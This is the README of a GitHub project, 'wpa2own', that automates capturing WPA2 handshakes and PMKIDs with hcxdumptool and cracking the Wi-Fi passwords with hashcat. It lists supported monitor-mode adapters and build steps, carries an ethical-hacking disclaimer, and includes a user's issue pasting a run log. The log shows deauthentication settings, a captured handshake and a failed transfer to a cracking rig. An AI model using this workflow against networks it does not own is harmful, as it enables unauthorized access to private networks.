philcryer / wpa2own

Use hashcat to crack WPA2 PSK (Pre-Shared Key) passwords!

wpa2own

About

The goal of this project is to automate the process of capturing packets on a WPA2 protected wireless network, and crack their PSK (pre-shared keys). We know that WPA3 is coming, but most didn't know that WPA2 was as susceptible to being broken as it is with this recently released Hashcat method.

History

• on August 4, 2018 there was an announcement on the Hashcat forum of a New attack on WPA/WPA2 using PMKID The tweet linking to it:

• using that info, and other ideas fleshed out from The Hacker News how-to post, the genesis for this project started
• on August 8, 2018 in Las Vegas, the day before DEF CON 26, I started building this using Kali Linux Rolling release (4.17.0-kali1-amd64 #1 SMP Debian 4.17.8-1kali1 (2018-07-24) x86_64 GNU/Linux) for development and testing
• now that I'm working on it more, I see a many more posts about this method. The original how-to, How to Hack WiFi Password Easily Using New Attack On WPA/WPA2, and others I'm finding, A New Method Discovered to Crack WPA/WPA2 PSK Enabled WiFi Network Passwords, New attack on WPA/WPA2 using PMKID

Requirements

Hardware

• a 64 bit Linux system with a network card that supports montior mode - see Gotchas
• a 64 bit Linux system with a GPU (graphics processing unit) for running Hashcat against the pcap - again, see Gotchas. In this example we're assuming this is a separate machine, but in the case that you have both on one system, we could rework things to account for that.

System utilities

• bash
• curl
• git
• make
• rsync
• sudo

Packages needed to build hcxtools

• libopenssl and openssl-dev installed
• librt and librt-dev installed (should be installed by default)
• zlib and zlib-dev installed (for gzip compressed cap/pcap/pcapng files)
• libcurl and curl-dev installed (used by whoismac and wlancap2wpasec)
• libpthread and pthread-dev installed (used by hcxhashcattool)

EXAMPLE: to install all software requirements in Debian Linux, Ubuntu Linux, or Kali Linux:

sudo apt-get -y install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev libgmp3-dev

TODO: include package list for other Linux distros. LMK if you figure any out!

Tools that the script will download and build

• hcxdumptool (v4.2.0+)
• hcxtools (v4.2.0+)
• hashcat (v4.2.0+)

Gotchas

1. You need a networking card that supports monitor mode under Linux, from online posts I've seen the following NICs listed:

Supported adapters (strict)

USB ID 148f:7601 Ralink Technology, Corp. MT7601U Wireless Adapter
USB ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter
USB ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter
USB ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter
USB ID 0bda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps Network Adapter

For development and testing, I used the Ralink RT5370 USB wireless plugged into my Mac Book Air (6,1) laptop. The output from lusb is:

$ lsusb | grep Ralink
Bus 001 Device 039: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter

2. The old hashcat-legacy uses the CPU to try and crack hashes, but that code is over 3 years old, and is going to be far too slow to crack what we're capturing here. I might provide it as an option, but it's really more of a POC that you could used in canned environments with very simple passwords. To really get the ball rolling you can should use hashcat with the OpenCL headers (we pull those down as part of the build), and that requires a system with a compatible GPU.

TODO: give examples of how this works, with specfic drivers

Usage

After resolving the requirements and understanding the gotchas:

./wpa2own

NOTICE (8/14/2018) currently, once the scan is complete, your output file is saved in the out/ dir, ready to run against hashcat on a system with GPU processors. I'm working to get this bit automated so it will scp the file to a GPU enabled rig, run it there and give you the results. This is a WIP, working to have complete by next week!

License

• MIT License

Disclaimer

This software is for educational purposes, in order to learn about vulnurable systems to better be able to protect yourself. I'm a big believer in ethical hacking, so do not use this software to break any laws. Don't misuse this script, or information gathered from it to gain unauthorised access to any networks or hardware. Also, be aware, performing hack attempts without permission on computers that you do not own is illegal.

TODO flesh this out, make it more official, looking to eff.org for help here

Misc

• Image from the WarGames (1983) movie, courtesy of BiellaColeman.

Thanks

wpa2own's Issues

Help me for Crack

\ \ /\ / | '_ \ / ` | _) / _ \ \ /\ / | ' \
\ V V /| |) | (| |/ __| () \ V V /| | | |
_/_/ | ./ _,|__/ _/_/ || ||
v0.0.1 |_| recommended by 4 out of 5 dentists surveyed

[ run ]
[ >>> ] Stage 0 - Preflight
[ --- ] System: Linux ok
[ --- ] Arch: x86_64 ok
[ --- ] Apps: git ok
[ --- ] Apps: curl ok
[ --- ] Apps: make ok
[ --- ] Apps: bash ok
[ --- ] Apps: sudo ok
[ --- ] Apps: rsync ok
[ --- ] Apps: shuf ok
[ >>> ] Stage 1 - Config
[ --- ] Directory: bin ok
[ --- ] Directory: out ok
[ --- ] Directory: src ok
[ --- ] Software: hcxdumptool ok
[ --- ] Software: hashcat ok
[ --- ] Software: hcxpcaptool ok
[ --- ] Software: making binaries executable ok
[ >>> ] Stage 2 - Capture
[ --- ] Hcxdumptool: running capture on interface wlan0
[ --- ] Hcxdumptool: run this for ~10 minutes, looking for the message:
[ --- ] Hcxdumptool: [FOUND PMKID] then hit control-c to stop and continue

start capturing (stop with ctrl+c)
INTERFACE:...............: wlan0
FILTERLIST...............: 0 entries
MAC CLIENT...............: fcc23334b33f (client)
MAC ACCESS POINT.........: 00006c1b383a (start NIC)
EAPOL TIMEOUT............: 150000
DEAUTHENTICATIONINTERVALL: 20 beacons
GIVE UP DEAUTHENTICATIONS: 10 tries
REPLAYCOUNTER............: 61840
ANONCE...................: 9e9c2125a90f10635000ad0841ac9ab37bdaa98a1ac3bfa89234e5fd050d08a3

[06:43:09 - 001] 48ee0c14b8a7 -> a402b9cf3ff0 [FOUND AUTHORIZED HANDSHAKE, EAPOL TIMEOUT 2614]
INFO: cha=8, rx=970, rx(dropped)=81, tx=71, powned=1, err=0
failed to read packet: Network is down
INFO: cha=2, rx=1662, rx(dropped)=140, tx=174, powned=1, err=1
failed to read packet: Network is down
INFO: cha=6, rx=2821, rx(dropped)=216, tx=293, powned=1, err=2^C
terminated...
[ --- ] Hcxpcaptool: converting frame to has for hashcat
start reading from 1544787785.pcapng

summary:

file name....................: 1544787785.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.18.0-kali2-amd64
file application information.: hcxdumptool 4.2.1
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 134
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 2
probe requests...............: 23
probe responses..............: 24
association requests.........: 14
association responses........: 24
authentications (OPEN SYSTEM): 35
EAPOL packets................: 13
best handshakes..............: 1 (ap-less: 0)

[ >>> ] Stage 3 - Crack
[ --- ] Transferring: files to remote host for hashing ssh: connect to host 192.168.1.5 port 22: Connection refused
rsync: connection unexpectedly closed (0 bytes received so far) [sender]
rsync error: error in rsync protocol data stream (code 12) at io.c(235) [sender=3.1.2]
root@nobody:~/Desktop/wpa2own#